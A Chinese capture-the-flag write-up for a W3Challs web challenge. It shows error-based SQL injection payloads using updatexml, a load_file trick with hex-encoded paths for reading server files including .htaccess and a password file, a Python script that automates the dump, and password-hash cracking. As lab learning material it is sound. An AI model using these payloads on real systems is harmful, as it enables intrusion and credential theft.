入手点:
通过注入尝试,发现注入点在contact
页面,尝试输入'
,会发现有报错信息输出:
Error while executing the SQL query.
并且可以看出,这里对于'
前面是加了\
进行转义,因此考虑在不使用'
的情况下构造查询语句,通过报错信息爆破出数据库名:
recipient=1 or updatexml(1,concat(0x7e,database()),0)&msg=2
这里使用updatexml
报错注入,之前的文章里也有简单学习过该函数,关键是第二个参数,该参数必须为Xpath_String
类型,这里我们将第二个参数构造为以~
开头的字符串,必然不符合xml格式语法,于是括号内的执行结果会以报错的形式输出,实现报错注入。
Error while executing the SQL query.
可以看到成功将数据库名VipWebArmy
输出。
爆表名:
recipient=1 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0)&msg=2
输出:
Error while executing the SQL query.
爆列名:
recipient=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1)),0)&msg=2
输出:
Error while executing the SQL query.
爆密码:
recipient=1 or updatexml(1,concat(0x7e,(select group_concat(login,password) from members limit 0,1)),0)&msg=2
Error while executing the SQL query.
得到用户名为LuG[3]R
,密码为4188679c1d8a284ccc41a6b6
(此处为不完整的md5值,为啥只探测出24位也懒得纠结了,直接网上搜可得到原文kiss
)。成功登录。
登录发现题目还有第二阶段,还要在进行一次认证。这种认证方式让人联想到之前做过的htaccess
那道题,直接在当前目录下访问一下看是否存在这个文件:
http://vip.hax.w3challs.com/.htaccess
没想到提示的是don't have permission
。
Forbidden
You don't have permission to access this resource.
路径还真猜对了…接下来的做法很大一部分是靠之前做题的经验+猜测orz 因为之前htaccess
一题中,绝对路径为/home/项目名/www/
,所以结合题目url也大胆猜测一下被隐藏的viparea
页面的php文件路径为/home/vipwebarmy/www/VipWebArmy.php
。
猜测路径之后,还是借助前面的updatexml
注入,爆出源码文件内容,这里要用到load_file
这个函数,需要注意的是,在注入时'
是被过滤掉的,所以要将文件路径转为十六进制传入。
recipient=1 or updatexml(1,concat(0x7e,substring((select load_file(0x2f686f6d652f76697077656261726d792f7777772f56697057656241726d792e706870)),1,30)),0)&msg=2
发现返回了报错信息:
Error while executing the SQL query.
说明有戏,直接写脚本爆出完整php代码:
import requests
import re
url = 'http://vip.hax.w3challs.com/index.php?page=contact'
cookie = {
'PHPSESSID':'xxxxxxxxxx'
}
final_text = ''
for i in range(0,100):
recipient = '1 or updatexml(1,concat(0x7e,substring((select load_file(0x2f686f6d652f76697077656261726d792f7777772f56697057656241726d792e706870)),%s,30)),0)' % str(1+i*30)
#recipient='1 or updatexml(1,concat(0x7e,substring((select load_file(0x2f686f6d652f76697077656261726d792f7777772f56697057656241726d792e706870)),1,30)),0)'
#print(recipient)
data = {'recipient':recipient, 'msg':'2'}
res = requests.post(url = url, cookies = cookie, data = data)
#print(res.text)
code = re.compile(r"(?<=XPATH syntax error: '~).*?(?=' -->)", re.DOTALL)
text = code.findall(res.text)
print(text[0],end="")
final_text += text[0]
print(final_text)
爆出VipWebArmy.php
文件源码:
/********************************************************************************************\
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| A comment that seems useless but that is useful nonetheless. Understand if you can :D |
| Do not remove! |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
\*******************************************************************************************/
session_start();
require_once('lang.php');
require_once('../db/vip.php');
if(!isset($_SESSION['admin']) || $_SESSION['admin']!==True)
echo fail_auth1;
else
echo password_is.password('azerfazefazdamlfkazoezaefralmzefalz').'.';
?>
其实爆出来感觉也没什么卵用…因为之前都已经猜出来.htaccess
路径和VipWebArmy.php
在同一目录下,/home/vipwebarmy/www/.htaccess
,将其转换为十六进制替换之前脚本中的参数,重新运行,可以获取.htaccess
的内容:
AuthType Basic
AuthName "VipWebArmy - Protected Area"
AuthUserFile "/home/vipwebarmy/www/pass/pass.txt"
require valid-user
好的获取到了pass.txt
的路径,直接访问肯定是不可能,依然用load_file
爆出:
army:xedh6CDiqPkbA
还以为密码就是这个…这鬼题目还是要用John The Ripper
爆破计算一下,结果为soldier
。
Well done, the flag is: W3C{MenuM4xiB3st0f}.
附:
做完题之后再去论坛看看别人的解题过程,发现还是有很多知识盲区。用load_file
爆出文件内容是由许多限制的,如:
'
等特殊符号转义,一般都会开的,但是可以通过char()
函数或将字符串转为十六进制绕过)file_priv
权限(不然无法读或是写文件)在该题中,这几个条件正好可以满足(实际情况中要复杂的多)。
并且对于本题,admin
也给出了爆出绝对路径的两种方法:
load_file('/etc/passwd')
:然而在此题不可用,因为加了secure_file_priv
保护,项目之外的文件不可读取。secure_file_priv
的值,该值中就包含有绝对路径(不得不说这种方法我完全没有意识到…)。recipient=1 or updatexml(1,concat(0x7e,substring((select @@secure_file_priv),1,30)),0)&msg=2
报错回显绝对路径:
Error while executing the SQL query.